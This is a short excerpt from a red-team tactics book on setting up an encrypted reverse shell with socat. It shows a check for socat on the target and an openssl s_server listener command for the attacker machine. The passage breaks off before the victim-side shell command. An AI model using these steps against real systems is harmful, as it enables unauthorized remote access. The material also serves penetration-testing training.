Hands-On Red Team Tactics

Encrypted reverse shell using socat

socat is a utility tool, just like netcat, that supports communication using different protocols as well as through files, pipes, and sockets with forking, logging, and dumping for interprocess communication. In short, this tool can be described as Damn Innovative!

We can check whether or not socat is installed on the target server using the following command:

which socat

Let's start the encrypted listener on port 8000 using the following command on the attacker machine:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8000

Execute the following command on the victim machine for a reverse shell ...